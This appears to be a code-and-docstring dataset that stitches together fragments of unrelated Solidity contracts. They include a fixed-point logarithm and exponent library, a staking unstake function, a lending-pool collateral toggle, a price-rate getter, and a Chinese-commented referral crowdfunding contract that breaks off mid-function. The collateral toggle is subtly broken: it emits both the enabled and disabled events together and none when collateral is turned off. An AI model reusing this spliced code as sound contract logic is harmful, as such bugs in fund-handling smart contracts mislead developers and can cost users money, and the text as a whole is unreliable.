revert("out-of-bounds");
}
if (x <= 0) {
revert("too-small");
}
if (x == FIXED_1) {
return 0;
}
if (x <= LN_MIN_VAL) {
return EXP_MIN_VAL;
}
int256 y;
int256 z;
int256 w;
// Rewrite the input as a quotient of negative natural exponents and a single residual q, such that 1 < q < 2
// For example: log(0.3) = log(e^-1 * e^-0.25 * 1.0471028872385522)
// = 1 - 0.25 - log(1 + 0.0471028872385522)
// e ^ -32
if (x <= int256(0x00000000000000000000000000000000000000000001c8464f76164760000000)) {
r -= int256(0x0000000000000000000000000000001000000000000000000000000000000000); // - 32
x =
(x * FIXED_1) /
int256(0x00000000000000000000000000000000000000000001c8464f76164760000000); // / e ^ -32
}
// e ^ -16
if (x <= int256(0x00000000000000000000000000000000000000f1aaddd7742e90000000000000)) {
r -= int256(0x0000000000000000000000000000000800000000000000000000000000000000); // - 16
x =
(x * FIXED_1) /
int256(0x00000000000000000000000000000000000000f1aaddd7742e90000000000000); // / e ^ -16
}
// e ^ -8
if (x <= int256(0x00000000000000000000000000000000000afe10820813d78000000000000000)) {
r -= int256(0x0000000000000000000000000000000400000000000000000000000000000000); // - 8
x =
(x * FIXED_1) /
int256(0x00000000000000000000000000000000000afe10820813d78000000000000000); // / e ^ -8
}
// e ^ -4
if (x <= int256(0x0000000000000000000000000000000002582ab704279ec00000000000000000)) {
r -= int256(0x0000000000000000000000000000000200000000000000000000000000000000); // - 4
x =
(x * FIXED_1) /
int256(0x0000000000000000000000000000000002582ab704279ec00000000000000000); // / e ^ -4
}
// e ^ -2
if (x <= int256(0x000000000000000000000000000000001152aaa3bf81cc000000000000000000)) {
r -= int256(0x0000000000000000000000000000000100000000000000000000000000000000); // - 2
x =
(x * FIXED_1) /
int256(0x000000000000000000000000000000001152aaa3bf81cc000000000000000000); // / e ^ -2
}
// e ^ -1
if (x <= int256(0x000000000000000000000000000000002f16ac6c59de70000000000000000000)) {
r -= int256(0x0000000000000000000000000000000080000000000000000000000000000000); // - 1
x =
(x * FIXED_1) /
int256(0x000000000000000000000000000000002f16ac6c59de70000000000000000000); // / e ^ -1
}
// e ^ -0.5
if (x <= int256(0x000000000000000000000000000000004da2cbf1be5828000000000000000000)) {
r -= int256(0x0000000000000000000000000000000040000000000000000000000000000000); // - 0.5
x =
(x * FIXED_1) /
int256(0x000000000000000000000000000000004da2cbf1be5828000000000000000000); // / e ^ -0.5
}
// e ^ -0.25
if (x <= int256(0x0000000000000000000000000000000063afbe7ab2082c000000000000000000)) {
r -= int256(0x0000000000000000000000000000000020000000000000000000000000000000); // - 0.25
x =
(x * FIXED_1) /
int256(0x0000000000000000000000000000000063afbe7ab2082c000000000000000000); // / e ^ -0.25
}
// e ^ -0.125
if (x <= int256(0x0000000000000000000000000000000070f5a893b608861e1f58934f97aea57d)) {
r -= int256(0x0000000000000000000000000000000010000000000000000000000000000000); // - 0.125
x =
(x * FIXED_1) /
int256(0x0000000000000000000000000000000070f5a893b608861e1f58934f97aea57d); // / e ^ -0.125
}
// `x` is now our residual in the range of 1 <= x <= 2 (or close enough).
// Add the taylor series for log(1 + z), where z = x - 1
z = y = x - FIXED_1;
w = (y * y) / FIXED_1;
r += (z * (0x100000000000000000000000000000000 - y)) / 0x100000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^01 / 01 - y^02 / 02
r += (z * (0x0aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa - y)) / 0x200000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^03 / 03 - y^04 / 04
r += (z * (0x099999999999999999999999999999999 - y)) / 0x300000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^05 / 05 - y^06 / 06
r += (z * (0x092492492492492492492492492492492 - y)) / 0x400000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^07 / 07 - y^08 / 08
r += (z * (0x08e38e38e38e38e38e38e38e38e38e38e - y)) / 0x500000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^09 / 09 - y^10 / 10
r += (z * (0x08ba2e8ba2e8ba2e8ba2e8ba2e8ba2e8b - y)) / 0x600000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^11 / 11 - y^12 / 12
r += (z * (0x089d89d89d89d89d89d89d89d89d89d89 - y)) / 0x700000000000000000000000000000000;
z = (z * w) / FIXED_1; // add y^13 / 13 - y^14 / 14
r += (z * (0x088888888888888888888888888888888 - y)) / 0x800000000000000000000000000000000; // add y^15 / 15 - y^16 / 16
}
/// @dev Compute the natural exponent for a fixed-point number EXP_MIN_VAL <= `x` <= 1
function exp(int256 x) internal pure returns (int256 r) {
if (x < EXP_MIN_VAL) {
// Saturate to zero below EXP_MIN_VAL.
return 0;
}
if (x == 0) {
return FIXED_1;
}
if (x > EXP_MAX_VAL) {
revert("out-of-bounds");
}
// Rewrite the input as a product of natural exponents and a
// single residual q, where q is a number of small magnitude.
// For example: e^-34.419 = e^(-32 - 2 - 0.25 - 0.125 - 0.044)
// = e^-32 * e^-2 * e^-0.25 * e^-0.125 * e^-0.044
// -> q = -0.044
// Multiply with the taylor series for e^q
int256 y;
int256 z;
// q = x % 0.125 (the residual)
z = y = x % 0x0000000000000000000000000000000010000000000000000000000000000000;
z = (z * y) / FIXED_1;
r += z * 0x10e1b3be415a0000; // add y^02 * (20! / 02!)
z = (z * y) / FIXED_1;
r += z * 0x05a0913f6b1e0000; // add y^03 * (20! / 03!)
z = (z * y) / FIXED_1;
r += z * 0x0168244fdac78000; // add y^04 * (20! / 04!)
z = (z * y) / FIXED_1;
r += z * 0x004807432bc18000; // add y^05 * (20! / 05!)
z = (z * y) / FIXED_1;
r += z * 0x000c0135dca04000; // add y^06 * (20! / 06!)
z = (z * y) / FIXED_1;
r += z * 0x0001b707b1cdc000; // add y^07 * (20! / 07!)
z = (z * y) / FIXED_1;
r += z * 0x000036e0f639b800; // add y^08 * (20! / 08!)
z = (z * y) / FIXED_1;
r += z * 0x00000618fee9f800; // add y^09 * (20! / 09!)
z = (z * y) / FIXED_1;
r += z * 0x0000009c197dcc00; // add y^10 * (20! / 10!)
z = (z * y) / FIXED_1;
r += z * 0x0000000e30dce400; // add y^11 * (20! / 11!)
z = (z * y) / FIXED_1;
r += z * 0x000000012ebd1300; // add y^12 * (20! / 12!)
z = (z * y) / FIXED_1;
r += z * 0x0000000017499f00; // add y^13 * (20! / 13!)
z = (z * y) / FIXED_1;
r += z * 0x0000000001a9d480; // add y^14 * (20! / 14!)
z = (z * y) / FIXED_1;
r += z * 0x00000000001c6380; // add y^15 * (20! / 15!)
z = (z * y) / FIXED_1;
r += z * 0x000000000001c638; // add y^16 * (20! / 16!)
z = (z * y) / FIXED_1;
r += z * 0x0000000000001ab8; // add y^17 * (20! / 17!)
z = (z * y) / FIXED_1;
r += z * 0x000000000000017c; // add y^18 * (20! / 18!)
z = (z * y) / FIXED_1;
r += z * 0x0000000000000014; // add y^19 * (20! / 19!)
z = (z * y) / FIXED_1;
r += z * 0x0000000000000001; // add y^20 * (20! / 20!)
r = r / 0x21c3677c82b40000 + y + FIXED_1; // divide by 20! and then add y^1 / 1! + y^0 / 0!
// Multiply with the non-residual terms.
x = -x;
// e ^ -32
if ((x & int256(0x0000000000000000000000000000001000000000000000000000000000000000)) != 0) {
r =
(r * int256(0x00000000000000000000000000000000000000f1aaddd7742e56d32fb9f99744)) /
int256(0x0000000000000000000000000043cbaf42a000812488fc5c220ad7b97bf6e99e); // * e ^ -32
}
// e ^ -16
if ((x & int256(0x0000000000000000000000000000000800000000000000000000000000000000)) != 0) {
r =
(r * int256(0x00000000000000000000000000000000000afe10820813d65dfe6a33c07f738f)) /
int256(0x000000000000000000000000000005d27a9f51c31b7c2f8038212a0574779991); // * e ^ -16
}
// e ^ -8
if ((x & int256(0x0000000000000000000000000000000400000000000000000000000000000000)) != 0) {
r =
(r * int256(0x0000000000000000000000000000000002582ab704279e8efd15e0265855c47a)) /
int256(0x0000000000000000000000000000001b4c902e273a58678d6d3bfdb93db96d02); // * e ^ -8
}
// e ^ -4
if ((x & int256(0x0000000000000000000000000000000200000000000000000000000000000000)) != 0) {
r =
(r * int256(0x000000000000000000000000000000001152aaa3bf81cb9fdb76eae12d029571)) /
int256(0x00000000000000000000000000000003b1cc971a9bb5b9867477440d6d157750); // * e ^ -4
}
// e ^ -2
if ((x & int256(0x0000000000000000000000000000000100000000000000000000000000000000)) != 0) {
r =
(r * int256(0x000000000000000000000000000000002f16ac6c59de6f8d5d6f63c1482a7c86)) /
int256(0x000000000000000000000000000000015bf0a8b1457695355fb8ac404e7a79e3); // * e ^ -2
}
// e ^ -1
if ((x & int256(0x0000000000000000000000000000000080000000000000000000000000000000)) != 0) {
r =
(r * int256(0x000000000000000000000000000000004da2cbf1be5827f9eb3ad1aa9866ebb3)) /
int256(0x00000000000000000000000000000000d3094c70f034de4b96ff7d5b6f99fcd8); // * e ^ -1
}
// e ^ -0.5
if ((x & int256(0x0000000000000000000000000000000040000000000000000000000000000000)) != 0) {
r =
(r * int256(0x0000000000000000000000000000000063afbe7ab2082ba1a0ae5e4eb1b479dc)) /
int256(0x00000000000000000000000000000000a45af1e1f40c333b3de1db4dd55f29a7); // * e ^ -0.5
}
// e ^ -0.25
if ((x & int256(0x0000000000000000000000000000000020000000000000000000000000000000)) != 0) {
r =
(r * int256(0x0000000000000000000000000000000070f5a893b608861e1f58934f97aea57d)) /
int256(0x00000000000000000000000000000000910b022db7ae67ce76b441c27035c6a1); // * e ^ -0.25
}
// e ^ -0.125
if ((x & int256(0x0000000000000000000000000000000010000000000000000000000000000000)) != 0) {
r =
(r * int256(0x00000000000000000000000000000000783eafef1c0a8f3978c7f81824d62ebf)) /
int256(0x0000000000000000000000000000000088415abbe9a76bead8d00cf112e4d4a8); // * e ^ -0.125
}
}
/// @dev Returns the multiplication two numbers, reverting on overflow.
function _mul(int256 a, int256 b) private pure returns (int256 c) {
if (a == 0) {
return 0;
}
c = a * b;
if (c / a != b || c / b != a) {
revert("overflow");
}
}
/// @dev Returns the division of two numbers, reverting on division by zero.
function _div(int256 a, int256 b) private pure returns (int256 c) {
if (b == 0) {
revert("overflow");
}
if (a == MIN_FIXED_VAL && b == -1) {
revert("overflow");
}
c = a / b;
}
/// @dev Adds two numbers, reverting on overflow.
function _add(int256 a, int256 b) private pure returns (int256 c) {
c = a + b;
if ((a < 0 && b < 0 && c > a) || (a > 0 && b > 0 && c < a)) {
revert("overflow");
}
}
}
|
Unstake tokens from the indexer stake, lock them until thawing period expires. _tokens Amount of tokens to unstake/ Ensure minimum stake Before locking more tokens, withdraw any unlocked ones
|
function unstake(uint256 _tokens) external override notPartialPaused {
address indexer = msg.sender;
Stakes.Indexer storage indexerStake = stakes[indexer];
require(_tokens > 0, "!tokens");
require(indexerStake.tokensStaked > 0, "!stake");
require(indexerStake.tokensAvailable() >= _tokens, "!stake-avail");
uint256 newStake = indexerStake.tokensSecureStake().sub(_tokens);
require(newStake == 0 || newStake >= minimumIndexerStake, "!minimumIndexerStake");
uint256 tokensToWithdraw = indexerStake.tokensWithdrawable();
if (tokensToWithdraw > 0) {
_withdraw(indexer);
}
indexerStake.lockTokens(_tokens, thawingPeriod);
emit StakeLocked(indexer, indexerStake.tokensLocked, indexerStake.tokensLockedUntil);
}
| 6,055,147 |
./full_match/1/0xAdcDAEc4fD335CC9A42a520b434585F343202A57/sources/MarginPool.sol
|
Allows depositors to enable/disable a specific deposited asset as collateral asset The address of the underlying asset deposited useAsCollateral `true` if the user wants to use the deposit as collateral, `false` otherwise/
|
function setUserUseReserveAsCollateral(address asset, bool useAsCollateral)
external
override
whenNotPaused
{
DataTypes.ReserveData storage reserve = _reserves[asset];
ValidationLogic.validateSetUseReserveAsCollateral(
reserve,
asset,
useAsCollateral,
_reserves,
_usersConfig[msg.sender],
_reservesList,
_reservesCount,
_addressesProvider.getPriceOracle()
);
_usersConfig[msg.sender].setUsingAsCollateral(
reserve.id,
useAsCollateral
);
if (useAsCollateral) {
emit ReserveUsedAsCollateralEnabled(asset, msg.sender);
emit ReserveUsedAsCollateralDisabled(asset, msg.sender);
}
}
| 16,561,456 |
./partial_match/1/0xFD39faae66348aa27A9E1cE3697aa185B02580EE/sources/LiquidityPoolV2Converter.sol
|
returns both the rate and the timestamp of the last update in a single call (gas optimization) _tokenA token to get the rate of 1 unit of _tokenB token to get the rate of 1 `_tokenA` against return numerator return denominator return timestamp of the last update/
|
function latestRateAndUpdateTime(IERC20Token _tokenA, IERC20Token _tokenB)
public
view
returns (uint256, uint256, uint256)
{
(uint256 numerator, uint256 denominator) = latestRate(_tokenA, _tokenB);
return (numerator, denominator, lastUpdateTime());
}
| 4,233,422 |
pragma solidity >=0.4.21 <0.6.0;
import "../node_modules/openzeppelin-solidity/contracts/math/SafeMath.sol";
import "../node_modules/openzeppelin-solidity/contracts/ownership/Ownable.sol";
import "../node_modules/openzeppelin-solidity/contracts/token/ERC20/IERC20.sol";
import "./UintUtils.sol";
import "./FissionReward.sol";
import "./FOMOReward.sol";
import "./LuckyReward.sol";
import "./FaithReward.sol";
import "./ResonanceDataManage.sol";
contract Resonance is Ownable{
using SafeMath for uint256;
// 事件
// 成为裂变者
event ToBeFissionPerson(address indexed fissionPerson, address indexed promoter);
event FundsInfo(uint256 currentStepTokenAmount, uint256 currentStepRaisedETH);
event BuildingPerioInfo(uint256 bpCountdown, uint256 remainingToken, uint256 personalTokenLimited, uint256 totalTokenAmount);
event FundingPeriodInfo(uint256 fpCountdown, uint256 remainingETH, uint256 rasiedETHAmount);
// 奖励相关事件
event FissionRewardInfo(address[] fissionRewardList, uint256[] fissionRewardAmount);
event FOMORewardInfo(address[] FOMORewardList, uint256[] FOMORewards);
event LuckyRewardInfo(address[] luckyRewardList, uint256 luckyReward);
event FaithRewardInfo(address[] faithRewardList, uint256[] faithRewardAmount);
event WithdrawAllETH(address addr, uint256 ETHAmount);
event WithdrawAllToken(address from, address to, uint256 tokenAmount);
event FunderInfo(uint256[] FunderInfoArray);
event StepFunders(
address[] funderAddress,
uint256[] funderTokenAmount,
uint256[] funderETHAmount,
uint256[] funderInvitees,
uint256[] funderEarnFromAff
);
event SettlementStep(uint256 stepIndex);
event StartNextStep(uint256 stepIndex);
event SetRaiseTarget(uint256 stepIndex, uint256 raiseTarget);
event GetResonances(address[] resonances);
event FunderTotalRaised(uint256 resonancesRasiedETH);
// 当前轮次总共已投入的ETH和Token数量
// 已募集到的ETH数量、现在投入的ETH数量、共剩余ETH数量
event currentStepRaisedEther(uint256 raisedETHAmount, uint256 nowRaisedEther, uint256 totalRemainingEther);
// 已共建的Token数量、个人剩余可投入Token额度、共剩余Token额度
event currentStepRaisedToken(uint256 raisedTokenAmount, uint256 remainingTokenForPersonal, uint256 totalRemainingToken);
// 变量
// ERC20
IERC20 BDEToken;
ResonanceDataManage resonanceDataManage;
// 收款方(每轮募集的60%转移到这个地址)
address payable public beneficiary;
// 投资者结构体
struct Funder{
address funderAddr; // 地址
uint256 tokenAmount; // 组建期已打入的token数量
uint256 ethAmount; // 募资期已打入的eth数量
address promoter; // 推广人
bool isFunder; // 是否是募资者(参与募资期)
bool tokenHasWithdrawn; // Token提币完成
bool ETHHasWithdrawn; // ETH已经提币完成
}
mapping(address => bool) public isBuilder; //是否是共建者
mapping(address => address[]) invitees; // 邀请人
mapping(address => uint256) earnFromAff; // 推广所得
mapping(address => uint256) inviteesTotalAmount; // 我的邀请人打入的eth总量
mapping(uint256 => address[]) FOMOList; // FOMO列表
// 组建期结构体
struct Building{
uint256 openTokenAmount; // 组建期开放多少Token
uint256 personalTokenLimited;// 当前轮次每个地址最多投入多少token
uint256 raisedToken; // 当前轮次已组建token数量
uint256 raisedTokenAmount; // 总共募资已投入多少Token
}
// 募资期结构体
struct Funding{
uint256 raiseTarget; // 募资期一共可以投入多少ETH(募资目标)
uint256 raisedETH; // 募资期已经募集到的ETH数量
}
FissionReward fissionRewardInstance;
FOMOReward FOMORewardInstance;
LuckyReward luckyRewardInstance;
FaithReward faithRewardInstance;
// 每一轮
struct Step{
mapping(address => Funder) funder;// 裂变者
address[] funders; // 当前轮次的funders
Building building; // 当前轮次组建期
Funding funding; // 当前轮次募资期
uint256 softCap; // 软顶
uint256 hardCap; // 硬顶
bool settlementFinished; // 当前轮次奖励是否结算完成
bool stepIsClosed; // 当前轮次是否结束
uint256 blockNumber; // 当前轮次结束时的区块高度
}
// 参与共振的地址数组
address[] resonances;
// 参与共振的用户募资金额
mapping(address => uint256) resonancesRasiedETH;
mapping(address => uint256) resonancesRasiedToken;
uint256 public currentStep;
mapping(uint256 => Step) steps;
address public initialFissionPerson; // 设置的初始裂变者
mapping(uint256 => uint256) ETHFromParty; // 基金会投入的ETH数量
uint256 public totalETHFromParty; // 基金会募资总额
uint256 public faithRewardTotalAmount; // 信仰奖励总奖金
mapping(uint256 => uint256) tokenFromParty; //基金会转入的token
mapping(uint256 => bool) public tokenTransfered; // 当前轮次基金会已经转入Token
bool public firstParamInitialized;
mapping (address => bool) refundIsFinished; // 用户refund是否结束
// 设定相关属性
/// @notice 构造函数
/// _BDEToken 用于共建的Token
constructor(
IERC20 _BDEToken,
address _resonanceDataManageAddress,
address _fassionRewardAddress,
address _FOMORewardAddress,
address _luckyRewardAddress,
address _faithRewardAddress
)
public
{
resonanceDataManage = ResonanceDataManage(_resonanceDataManageAddress);
// 载入奖励合约实例
fissionRewardInstance = FissionReward(_fassionRewardAddress);
FOMORewardInstance = FOMOReward(_FOMORewardAddress);
luckyRewardInstance = LuckyReward(_luckyRewardAddress);
faithRewardInstance = FaithReward(_faithRewardAddress);
currentStep = 0;
BDEToken = _BDEToken;
}
/// @notice 初始化第一轮次的部分参数
/// @dev 管理员调用这个设置对ResonanceDataManage的访问权限,并初始化第一轮的部分参数
function initParamForFirstStep(
address _newOwner,
address payable _beneficiary,
address _initialFissionPerson
)
public
onlyOwner()
{
require(!firstParamInitialized, "第一轮次数据已经初始化过了");
// 设置基金会收款地址
beneficiary = _beneficiary;
// 设置初始裂变者地址
initialFissionPerson = _initialFissionPerson;
resonanceDataManage.setOpeningTime(block.timestamp); // 设置启动时间
steps[currentStep].building.openTokenAmount = UintUtils.toWei(1500000); // 第一轮Token限额
steps[currentStep].building.personalTokenLimited = steps[currentStep].building.openTokenAmount.mul(1).div(100);
// 设置fundsPool和initBuildingTokenAmount
resonanceDataManage.setParamForFirstStep();
// 初始化Token共建比例等参数
resonanceDataManage.updateBuildingPercent(currentStep);
firstParamInitialized = true;
// 转移合约所有权
transferOwnership(_newOwner);
}
/// @notice 成为裂变者,这是参与共建的第一步
/// @param promoter 推广者
/// @dev 在调用这个方法之前,需要用户前往Token合约调用Approve方法,获得授权
function toBeFissionPerson(
address promoter
)
public
returns(address, address)
{
require(resonanceDataManage.isBuildingPeriod(), "不在共建期内");
require(!resonanceDataManage.getCrowdsaleClosed(), "共振已经结束");
require(!isBuilder[msg.sender], "裂变者不能再成为裂变者");
if(initialFissionPerson != promoter){
require(isBuilder[promoter],"推广者自己必须是Builder");
}
require(promoter != address(0), "推广者不能是空地址");
// // 检查授权额度
require(BDEToken.allowance(msg.sender, address(this)) >= UintUtils.toWei(8),"授权额度不足");
require(BDEToken.transferFrom(msg.sender,address(this), UintUtils.toWei(8)),"转移token到合约失败");
// 销毁3个
BDEToken.transfer(address(0), UintUtils.toWei(3));
// 5个给推广者
BDEToken.transfer(address(promoter), UintUtils.toWei(5));
earnFromAff[promoter] += UintUtils.toWei(5);
// steps[currentStep].funder[promoter].earnFromAff += UintUtils.toWei(5);
// 成为共建者
_addBuilder(promoter);
invitees[promoter].push(msg.sender);
// steps[currentStep].funder[promoter].invitees.push(msg.sender);
fissionRewardInstance.addAffman(currentStep, promoter, initialFissionPerson);
// emit ToBeFissionPerson(msg.sender, promoter);
return(msg.sender, promoter);
}
/// @notice 设置当前轮次募资目标
/// @dev 只有在当前轮次的共建期可以由管理员设置当前轮次的募资目标
function setRaiseTarget(
uint256 _raiseTarget
)
public
onlyOwner()
returns(uint256, uint256)
{
require(resonanceDataManage.isBuildingPeriod(), "不在共建期内");
steps[currentStep].funding.raiseTarget = _raiseTarget;
// 当前轮次的软顶和硬顶分别赋值
steps[currentStep].softCap = steps[currentStep].funding.raiseTarget.mul(80).div(100);
steps[currentStep].hardCap = steps[currentStep].funding.raiseTarget;
// emit SetRaiseTarget(currentStep, _raiseTarget);
return(currentStep, _raiseTarget);
}
/// @notice 获取当前轮次募资目标
function getRaiseTarget(uint256 _stepIndex) public view returns(uint256) {
return steps[_stepIndex].funding.raiseTarget;
}
// 共建(就是向合约转入token的过程)
function jointlyBuild(uint256 _tokenAmount) public {
require(resonanceDataManage.isBuildingPeriod(), "不在共建期内");
require(!resonanceDataManage.getCrowdsaleClosed(), "共振已经结束");
// 只有builder才能参与共建
require(isBuilder[msg.sender], "调用者不是Builder");
// 转账数量不能超过社区可转账总额
require(
steps[currentStep].building.raisedToken.add(_tokenAmount) <=
steps[currentStep].building.openTokenAmount.sub(resonanceDataManage.getBuildingTokenFromParty(currentStep)),
"转账数量不能超过社区可转账总额"
);
// 转入额度不能超过个人限额
require(
steps[currentStep].funder[msg.sender].tokenAmount.add(_tokenAmount) <=
steps[currentStep].building.personalTokenLimited,
"共建额度已超过限额,不能继续转入"
);
// 检查授权额度
require(BDEToken.allowance(msg.sender, address(this)) >= _tokenAmount,"授权额度不足");
// 转入合约
require(BDEToken.transferFrom(msg.sender, address(this), _tokenAmount),"转移token到合约失败");
steps[currentStep].funder[msg.sender].tokenAmount += _tokenAmount;
steps[currentStep].building.raisedTokenAmount += _tokenAmount;
// 从资金池总额度中减去用户转入的Token数量
resonanceDataManage.setFundsPool(resonanceDataManage.getFundsPool().sub(_tokenAmount));
// 累加用户参与共建的总额度
resonancesRasiedToken[msg.sender] += _tokenAmount;
// 累加token数量
steps[currentStep].building.raisedToken += _tokenAmount;
emit currentStepRaisedToken(
steps[currentStep].building.raisedToken,
steps[currentStep].building.personalTokenLimited.sub(steps[currentStep].funder[msg.sender].tokenAmount),
steps[currentStep].building.openTokenAmount.sub(steps[currentStep].building.raisedToken)
);
}
/// @notice 共建期基金会调用此方法转入Token
function transferToken() public payable onlyOwner() returns(bool){
require(!tokenTransfered[currentStep], "当前轮次基金会已经转入过Token了");
// 检查剩余的授权额度是否足够
require(BDEToken.allowance(msg.sender, address(this)) >= resonanceDataManage.getBuildingTokenFromParty(currentStep),
"授权额度不足"
);
// 转入合约
require(BDEToken.transferFrom(msg.sender, address(this), resonanceDataManage.getBuildingTokenFromParty(currentStep)),
"转移token到合约失败"
);
// 从资金池中减去基金会投入的数量
resonanceDataManage.setFundsPool(resonanceDataManage.getFundsPool().sub(resonanceDataManage.getBuildingTokenFromParty(currentStep)));
tokenTransfered[currentStep] = true;
return true;
}
/// @notice 回调函数
function ()
external
payable
{
require(resonanceDataManage.isFundingPeriod(), "不在募资期内");
require(!resonanceDataManage.getCrowdsaleClosed(), "共振已经结束");
uint amount = msg.value;
// 投入ETH>0.1 ether
require(amount >= 0.1 ether, "投入的ETH数量应该大于0.1 ether");
// 转入ETH不能超出当前轮次募资目标
require(
msg.value.add(steps[currentStep].funding.raisedETH) <= steps[currentStep].funding.raiseTarget,
"当前轮次已募集到足够的ETH"
);
// funder列表去重
if(!steps[currentStep].funder[msg.sender].isFunder){
steps[currentStep].funders.push(msg.sender);
}
// 全都加入FOMO列表
FOMOList[currentStep].push(msg.sender);
steps[currentStep].funder[msg.sender].ethAmount += amount;
steps[currentStep].funder[msg.sender].isFunder = true;
steps[currentStep].funding.raisedETH += amount;
// 累加msg.sender的上级邀请人总花费
inviteesTotalAmount[steps[currentStep].funder[msg.sender].promoter] += amount;
resonances.push(msg.sender);
resonancesRasiedETH[msg.sender] += amount;
emit currentStepRaisedEther(
steps[currentStep].funding.raisedETH,
amount,
steps[currentStep].hardCap.sub(steps[currentStep].funding.raisedETH)
);
}
/// @notice 轮次结算
/// @dev 募资期结束之后结算当前轮次的奖励和其他资金,然后进入下一轮
/// @param _fissionWinnerList 裂变奖励获奖列表
/// @param _LuckyWinnerList 幸运奖励获奖列表
function settlementStep(
address[] memory _fissionWinnerList,
address[] memory _LuckyWinnerList
)
public
onlyOwner()
returns(bool)
{
require(beneficiary != address(0), "基金会收款地址尚未设置");
// 共振已结束,不能结算
if(resonanceDataManage.crowdsaleIsClosed(currentStep, steps[currentStep].funding.raisedETH, steps[currentStep].softCap)){
return false;
}else{
uint256 totalTokenAmount = steps[currentStep].building.raisedToken.add(resonanceDataManage.getBuildingTokenFromParty(currentStep));
ETHFromParty[currentStep] = steps[currentStep].funding.raisedETH
.mul(resonanceDataManage.getBuildingTokenFromParty(currentStep))
.mul(40)
.div(totalTokenAmount)
.div(100);
// 奖励金总额的12.5%每一轮叠加,算作信仰奖励的奖励金
faithRewardTotalAmount += ETHFromParty[currentStep].mul(125).div(1000);
// 结算裂变奖励、FOMO奖励
_settlementReward(_fissionWinnerList);
// 结算幸运奖励
_settlementLuckyReward(_LuckyWinnerList);
// 结算基金会收款人余额
resonanceDataManage.setETHBalance(
currentStep,
beneficiary,
steps[currentStep].funding.raisedETH.mul(60).div(100) // 基金会也是每一轮提取一次
// resonanceDataManage.getETHBalance(currentStep, beneficiary) + steps[currentStep].funding.raisedETH.mul(60).div(100)
);
// 进入下一轮
_startNextStep();
return true;
}
}
/// @notice 结算信仰奖励
/// @param _FaithWinnerList 信仰奖励获奖者列表
function settlementFaithReward(
address[] memory _FaithWinnerList
)
public
onlyOwner()
returns(bool)
{
require(resonanceDataManage.getCrowdsaleClosed(), "共振还未结束");
return resonanceDataManage.dmSettlementFaithReward(
_FaithWinnerList,
faithRewardTotalAmount
);
}
/// @notice 结算裂变奖励、FOMO奖励
/// @dev 每一轮次结束之后调用此方法分配奖励,幸运奖励拆开结算
function _settlementReward(
address[] memory _fissionWinnerList
)
internal
{
require(!steps[currentStep].settlementFinished, "当前轮次已经结算完毕");
require(!steps[currentStep].stepIsClosed, "当前轮次早已经结束");
// 结算裂变奖励
resonanceDataManage.settlementFissionReward(
currentStep,
_fissionWinnerList,
ETHFromParty[currentStep].mul(50).div(100)
);
// 结算FOMO奖励
if(FOMOList[currentStep].length > 0){
resonanceDataManage.settlementFOMOReward(
currentStep,
FOMOList[currentStep],
ETHFromParty[currentStep].mul(125).div(1000)
);
}else{
return;
}
}
/// @notice 结算幸运奖励
function _settlementLuckyReward(
address[] memory _LuckyWinnerList
)
internal
{
resonanceDataManage.settlementLuckyReward(
currentStep,
_LuckyWinnerList,
ETHFromParty[currentStep].mul(25).div(100)
);
}
/// 重置变量,开始下一轮
function _startNextStep()
internal
{
// 标记当前step已经结算完成
steps[currentStep].settlementFinished = true;
// 标记当前轮次已经结束
steps[currentStep].stepIsClosed = true;
// 进入下一轮
currentStep++;
// 下一轮开始计时
resonanceDataManage.setOpeningTime(block.timestamp);
// 初始化Token共建比例等参数
resonanceDataManage.updateBuildingPercent(currentStep);
// 初始Token总额度
steps[currentStep].building.openTokenAmount = resonanceDataManage.getBuildingTokenAmount();
// 设置本轮个人限额
steps[currentStep].building.personalTokenLimited = steps[currentStep].building.openTokenAmount.mul(1).div(100);
}
/// @notice 提token(参与募资期的用户通过这个方法提走token)
function withdrawAllToken()
public
payable
returns(address, address, uint256)
{
require(currentStep != 0, "请等待下一轮次再来提取第一轮的token");
// 本轮提取上一轮的
uint256 withdrawStep = currentStep.sub(1);
require(steps[withdrawStep].funder[msg.sender].isFunder, "用户没有参与上一轮次的募资期");
require(!steps[withdrawStep].funder[msg.sender].tokenHasWithdrawn, "用户已经提取token完成");
require(steps[withdrawStep].funder[msg.sender].ethAmount > 0, "用户在上一轮次没有参与组建期Token投币");
require(steps[withdrawStep].funding.raisedETH > 0, "上一轮次募资期募集到0个ETH");
// 计算用户应提取Token数量
// 应提取数量 = 共建期募集到的Token数量 * 募资期用户投入ETH数量 / 已募集到的ETH数量
uint256 totalTokenAmountPriv = steps[withdrawStep].building.raisedToken
.add(resonanceDataManage.getBuildingTokenFromParty(withdrawStep));
uint256 withdrawAmount = totalTokenAmountPriv.
mul(steps[withdrawStep].funder[msg.sender].ethAmount).
div(steps[withdrawStep].funding.raisedETH);
resonanceDataManage.emptyTokenBalance(withdrawStep, msg.sender);
steps[withdrawStep].funder[msg.sender].tokenHasWithdrawn = true;
BDEToken.transfer(msg.sender, withdrawAmount);
return(address(this), msg.sender, withdrawAmount);
}
/// @notice 提币(管理员或者用户都通过这个接口提走ETH)
function withdrawAllETH()
public
payable
returns(address, uint256)
{
require(currentStep != 0, "请等待下一轮次再来提取第一轮的ether");
// 本轮提取上一轮的
uint256 withdrawStep = currentStep.sub(1);
address payable dest = address(uint160(msg.sender));
require(!steps[withdrawStep].funder[msg.sender].ETHHasWithdrawn, "用户在当前轮次已经提取ETH完成");
uint256 withdrawAmount;
// 如果是基金会地址,不用计算,直接提走60%
if(msg.sender == beneficiary){
withdrawAmount = resonanceDataManage.withdrawETHAmount(withdrawStep, msg.sender);
}else{// 如果是社区地址,需要计算共建期token换得的eth数量
withdrawAmount = _calculationWithdrawETHAmount(withdrawStep);
}
// 将上一轮奖励所得清空
resonanceDataManage.emptyETHBalance(withdrawStep, msg.sender);
steps[withdrawStep].funder[msg.sender].ETHHasWithdrawn = true;
dest.transfer(withdrawAmount);
return(msg.sender, withdrawAmount);
}
/// @notice 提取信仰奖励和最后一轮次的退款
function withdrawFaithRewardAndRefund() public payable returns(bool){
// 共振结束后才可以提取
require(resonanceDataManage.getCrowdsaleClosed(), "共振还未结束,不能提取");
require(!refundIsFinished[msg.sender], "退款已经提取完成了");
address payable dest = address(uint160(msg.sender));
uint256 resonanceClosedStep = resonanceDataManage.getResonanceClosedStep();
uint256 withdrawTokenAmount;
